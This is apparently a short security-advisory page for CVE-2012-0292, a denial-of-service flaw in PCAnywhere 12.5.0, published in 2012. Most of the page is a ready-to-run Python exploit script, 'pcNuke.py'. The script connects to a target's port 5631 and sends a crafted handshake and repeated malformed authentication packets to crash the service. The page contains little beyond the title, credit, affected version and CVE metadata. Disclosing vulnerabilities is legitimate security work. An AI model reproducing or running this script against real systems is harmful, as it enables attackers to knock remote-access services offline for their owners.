|
|
| |
| PCAnywhere 12.5.0 build 463 suffers from denial of service Vulnerability. |
| |
Credit:
The information has been provided by Johnathan Norman.
|
| |
Vulnerable Systems:
* PCAnywhere 12.5.0
import sys
import socket
import argparse
if len(sys.argv) != 2:
print "[+] Usage: ./pcNuke.py <HOST>"
sys.exit(1)
HOST = sys.argv[1]
PORT = 5631
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# HELLO!
s.send("\x00\x00\x00\x00")
buf = s.recv(1024)
# ACK!
s.send("\x6f\x06\xfe")
buf = s.recv(1024)
# Auth capability part 1
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00")
# Auth capability part 2
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00")
CVE Information:
2012-0292
Disclosure Timeline:
Published: 2012-02-17
|
|
blog comments powered by
|